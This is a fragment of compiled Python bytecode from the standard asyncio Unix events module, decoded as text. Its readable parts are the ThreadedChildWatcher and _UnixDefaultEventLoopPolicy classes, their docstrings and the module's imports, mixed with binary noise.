<listcomp>Ks�z6ThreadedChildWatcher._join_threads.<locals>.<listcomp>N)r)rTr+r�)r �threadsrZrrrrUIsz"ThreadedChildWatcher._join_threadscCs|Srrr�rrrrPszThreadedChildWatcher.__enter__cCsdSrrrNrrrr!SszThreadedChildWatcher.__exit__cCs6dd�t|j���D�}|r2||j�d�t|d�dS)NcSsg|]}|��r|�qSr)rVrXrrrr[Ws�z0ThreadedChildWatcher.__del__.<locals>.<listcomp>z0 has registered but not finished child processesr$)r)rTr+r#r-)r r�r\rrrr�Vs�zThreadedChildWatcher.__del__cGsFt��}tj|jdt|j���||||fdd�}||j|<|��dS)Nzwaitpid-T)�target�namerFrW)	rrOrHZThreadr<�nextrSrT�start)r rorErFr�rZrrrr`^s
�
z&ThreadedChildWatcher.add_child_handlercCsdSr�rrrrrrgsz)ThreadedChildWatcher.remove_child_handlercCsdSrrrrrrrmsz ThreadedChildWatcher.attach_loopcCs�|dksJ�zt�|d�\}}Wn&tyF|}d}t�d|�Yn 0t|�}|��rft�d||�|��r~t�d||�n|j	|||g|�R�|j
�|�dS)Nrr0rDrErP)rxr2r3r
rr4r�r�rQrnrTr1)r r�r;rErFror5rprrrr<ps&�
�z ThreadedChildWatcher._do_waitpidN)r�r�r�r�rr]r&rUrr!r+r,r�r`rrr<rrrrr2s	rcsHeZdZdZeZ�fdd�Zdd�Z�fdd�Zdd	�Z	d
d�Z
�ZS)�_UnixDefaultEventLoopPolicyz:UNIX event loop policy with a watcher for child processes.cst���d|_dSr)rr�_watcherr�r"rrr�s
z$_UnixDefaultEventLoopPolicy.__init__cCs\tj�B|jdur:t�|_t��t��ur:|j�|jj	�Wd�n1sN0YdSr)
rrIrbrrH�current_thread�main_threadr�_localr�r�rrr�
_init_watcher�s

z)_UnixDefaultEventLoopPolicy._init_watchercs6t��|�|jdur2t��t��ur2|j�|�dS)z�Set the event loop.

        As a side effect, if a child watcher was set before, then calling
        .set_event_loop() from the main thread will call .attach_loop(loop) on
        the child watcher.
        N)r�set_event_looprbrHrcrdrrr"rrrg�s

�z*_UnixDefaultEventLoopPolicy.set_event_loopcCs|jdur|��|jS)z~Get the watcher for child processes.

        If not yet set, a ThreadedChildWatcher object is automatically created.
        N)rbrfr�rrrr\�s
z-_UnixDefaultEventLoopPolicy.get_child_watchercCs4|dust|t�sJ�|jdur*|j��||_dS)z$Set the watcher for child processes.N)rPrrbr&)r rkrrr�set_child_watcher�s

z-_UnixDefaultEventLoopPolicy.set_child_watcher)r�r�r�r�rZ
_loop_factoryrrfrgr\rhr�rrr"rra�s
ra)3r�rCr�rRrxr�r:rzr�rr'rHr+�rrrrrrr	r
rr�logr
�__all__r��ImportErrorrZBaseSelectorEventLooprZ
ReadTransportrSZ_FlowControlMixinZWriteTransportrZZBaseSubprocessTransportr_rrr4r:rrrrZBaseDefaultEventLoopPolicyrarrrrrr�<module>sb	
	�NON5Ji}Y2